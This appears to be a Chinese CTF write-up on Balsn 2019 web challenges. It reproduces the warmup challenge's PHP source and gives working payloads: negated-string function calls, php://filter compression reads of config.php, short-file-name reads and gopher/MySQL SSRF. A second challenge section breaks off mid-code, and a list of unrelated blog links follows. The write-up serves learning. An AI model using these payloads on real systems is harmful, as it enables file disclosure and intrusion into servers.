遇到3道有点意思的web,记录一下~

web1

题目地址:http://warmup.balsnctf.com/

源码如下所示:

<?php
if (($secret = base64_decode(str_rot13("CTygMlOmpz" . "Z9VaSkYzcjMJpvCt==")))
&& highlight_file(__FILE__)
&& (include("config.php"))
&& ($op = @$_GET['op'])
&& (@strlen($op) < 3 && @($op + 8) < 'A_A')) {
$_ = @$_GET['Σ>―(#°ω°#)♡→'];
if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_)
|| @strlen(count_chars(strtolower($_), 3)) > 13
|| @strlen($_) > 19) { exit($secret);
} else {
$ch = curl_init();
@curl_setopt(
$ch,
CURLOPT_URL,
str_repLace(
"int",
":DD",
str_repLace(
"%69%6e%74", //int
"XDDD",
str_repLace(
"%2e%2e", //..
"Q___Q",
str_repLace(
"..",
"QAQ",
str_repLace(
"%33%33%61", //33a
">__<",
str_repLace(
"%63%3a", //c:
"WTF",
str_repLace(
"633a",
":)",
str_repLace(
"433a",
":(",
str_repLace(
"\x63:",
"ggininder",
strtolower(eval("return $_;"))
)
)
)
)
)
)
)
)
)
);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_TIMEOUT, 1);
@curl_EXEC($ch);
}
} else if (@strlen($op) < 4 && @($op + 78) < 'A__A') {
$_ = @$_GET['']; # \u2063
//http://warmup.balsnctf.com/?%E2%81%A3=index.php%20&op=-79
if ((strtolower(substr($_, -4)) === '.php')
|| (strtolower(substr($_, -4)) === 'php.')
|| (stripos($_, "\"") !== FALSE)
|| (stripos($_, "\x3e") !== FALSE)
|| (stripos($_, "\x3c") !== FALSE)
|| (stripos(strtolower($_), "amp") !== FALSE))
die($secret);
else {
if (stripos($_, "..") !== false) {
die($secret);
} else {
if (stripos($_, "\x24") !== false) {
die($secret);
} else {
print_r(substr(@file_get_contents($_), 0, 155));
}
}
}
} else {
die($secret) && system($_GET[0x9487945]);
}

首先关注代码中的敏感函数,存在curl,eval和file_get_contents,这里preg_match过滤了php数组的[方括号和{花括号,那么基本无法直接构造shell

根据第一部分的过滤,基本可以确定无法通过bypass来命令执行,当然也是如果可以命令执行,那肯定是非预期,要不这一大串curl就是无用的了

但我们可以执行phpinfo(),通过取反字符串phpinfo,payload为

%CE%A3%3E%E2%80%95(%23%C2%B0%CF%89%C2%B0%23)%E2%99%A1%E2%86%92=(~%8F%97%8F%96%91%99%90)()&op=-9

当然这种payload只适用于php7.x

此时就能回显phpinfo,通过扩展模块可以得到此时加载了mysql扩展,并且此时可以通过file_get_contents来读文件,因为存在config.php,所以我们可以直接读取config.php,因为有

print_r(substr(@file_get_contents($_), 0, 155));

这里限制了文件读取的长度,因此用php的压缩流对其进行压缩

通过php的压缩流过滤器就可以大大的缩减我们要读取的文件的长度,之后再进行解压缩即可还原

此时直接读取的config.php是经过压缩流的,因此这里直接将</code>标签后的解压缩即可,因为直接解压缩里面有非压缩的数据,导致直接写入为0

<?php
$a = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");
var_dump(strlen($a));
var_dump($a);
file_put_contents("/tmp/233",$a);
echo file_get_contents("php://filter/zlib.inflate/resource=/tmp/233");
#$content = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");
#$idx = stripos($content, "</code>") + 7;
#file_put_contents("/tmp/233", substr($content, $idx));
file_put_contents("/tmp/1234",file_get_contents("php://filter/zlib.inflate/resource=/tmp/233"));

这里从国外也看到了另一种解法:

因为目标系统是windows系统,因此采用短文件名的方式来读取config.php,即payload可以为:

#coding:utf-8
import urllib
def n(s):
r = ""
for i in s:
r += chr(~(ord(i)) & 0xFF)
r = "~{}".format(r)
return r
print urllib.quote("({})({})".format(n("readfile"), n("c<<")))

这样就可以读到源码了,也绕过了长度的限制,因为有限制:

@strlen($_) > 19) 

所以在这里只能扩展到co<<加上readfile,即(readfile)("co<<")

接下来就是gopher+mysql,可以利用gopherus生成payload,但是payload太长,因此使用getenv来bypass长度限制:

由上图可以得到getenv的利用方式,从而我们可以来打mysql了

web2:

这道题考察DNS rebinding、SSTI、命令执行

index.php

# index.php
<?php
ini_set('default_socket_timeout', 1); $waf = array("@","#","!","$","%","<", "*", "'", "&", "..", "localhost", "file", "gopher", "flag", "information_schema", "select", "from", "sleep", "user", "where", "union", ".php", "system", "access.log", "passwd", "cmdline", "exe", "fd", "meta-data"); $dst = @$_GET['

2019balsn两道web和2019巅峰极客一道web记录的更多相关文章

  1. 2019巅峰极客CTF-web1(LOL英雄联盟)

    今晚有空 以后随缘写博客了 好好沉淀 web1当天做出的队伍很少 其实不难    折腾到最后就差一步  可惜    0x01 读取文件 截图没留了 只留了代码部分. 有个页面  有上传和下载功能 起初 ...

  2. 巅峰极客CTF writeup[上]

    经验教训 1.CTF不比实战,最好不要死磕.死磕就输了.我就是死磕在缓存文件死的.真的惭愧: 2.对于flag的位置不要太局限于web目录下,如果是命令执行直接上find / -name flag*: ...

  3. 2018 巅峰极客CTF misc writeup

    flows 拿到一个pcap包,用wireshark打开,发现是USB协议,尝试在kali下使用tshark提取,提取失败,发现异常.回到wireshark分析数据.在其中一个数据包中发现了tip 把 ...

  4. 巅峰极客第二场CTF部分writeup

    word-MISC 微信回答问题+word字体里. sqli-WEB 注册个admin空格即可,长字符截断. 晚上把后续的写出来.现在睡觉

  5. 2020 巅峰极客 WP_ Re

    第一题:virus 是一个win32 的题,没给加壳. 主函数: int __cdecl main(int argc, const char **argv, const char **envp) { ...

  6. 2019年上海市大学生网络安全大赛两道misc WriteUp

    2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...

  7. 【LOJ】#3034. 「JOISC 2019 Day2」两道料理

    LOJ#3034. 「JOISC 2019 Day2」两道料理 找出最大的\(y_{i}\)使得\(sumA_{i} + sumB_{y_i} \leq S_{i}\) 和最大的\(x_{j}\)使得 ...

  8. 你所不知道的库存超限做法 服务器一般达到多少qps比较好[转] JAVA格物致知基础篇:你所不知道的返回码 深入了解EntityFramework Core 2.1延迟加载(Lazy Loading) EntityFramework 6.x和EntityFramework Core关系映射中导航属性必须是public? 藏在正则表达式里的陷阱 两道面试题,带你解析Java类加载机制

    你所不知道的库存超限做法 在互联网企业中,限购的做法,多种多样,有的别出心裁,有的因循守旧,但是种种做法皆想达到的目的,无外乎几种,商品卖的完,系统抗的住,库存不超限.虽然短短数语,却有着说不完,道不 ...

  9. 极客Web前端开发资源大荟萃#001

    每周极客都将总结本周最精彩的素材提供给大家,希望可以带给你更多地灵感和帮助!极客#GB课程库#现已上线,无论你是初级.中级.还是正在进修的高级前端工程师.这里都将帮助你得到更多更高效的学习.原文:极客 ...

随机推荐

  1. Linux学习笔记:split切分文件并按规律命名及添加拓展名

    基础知识 功能:使用 shell 的 split 可以将一个大文件分割成很多个小文件,有时文件太大处理起来不方便就需要使用到了. 在默认情况下将按照每1000行切割成一个小文件. 语法: split ...

  2. 移动端适配flexible.js

    npm install lib-flexible --save npm install px2rem-loader --save-dev

  3. 二叉树BinaryTree构建测试(无序)

    此测试仅用于二叉树基本的性质测试,不包含插入.删除测试(此类一般属于有序树基本操作). //二叉树树类 public class BinaryTree { public TreeNode root; ...

  4. httpd源码编译安装

    什么是编译安装——编译:将源代码变为机器可执行的代码文件.安装:将可执行文件安装到操作系统里,才可以使用. 一.下载httpd源码包 在官网上下载httpd源码包http://httpd.apache ...

  5. Django中使用缓存

    settings中的配置 CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache ...

  6. Js调用本地exe的方式

    1.     使用记事本(或其他文本编辑器)创建一个myprotocal.reg文件,并写入以下内容 Windows Registry Editor Version 5.00 [HKEY_CLASSE ...

  7. 个人推荐-几款好用的App

    前言 在使用智能手机的过程中比较喜欢尝试一些新奇好玩的app,同时也积攒下了不少个人认为很有帮助或很有特点的app,写这篇随笔当做一个记录吧. 便签-小周便签 一款功能十分强大的便签app,在编辑界面 ...

  8. 为什么要用BigDecimal

    一般货币计算的时候都要用到BigDecimal类,为什么一般不适用float或者double呢? 先看一下浮点数的二进制表示: 小数 0.125 0.125 * 2 = 0.25 0 0.25 * 2 ...

  9. 《构建之法》——Alpha2项目的测试

    这个作业属于哪个课程 课程的链接 这个作业要求在哪里 作业要求的链接 团队名称 Runningman 这个作业的目标 测试其他组的项目,互相借鉴 作业正文 作业正文 测试人姓名 陈嘉莹 测试人学号 2 ...

  10. 标准库类型之string

    上几篇中已经实现了一个简单版的String字符串类,但是实际开发中不用我们自己实现了,学习Java的也知道有一个系统现成的用,当然强大的C++也不例外,下面就来学习一下系统定义的string是怎么用的 ...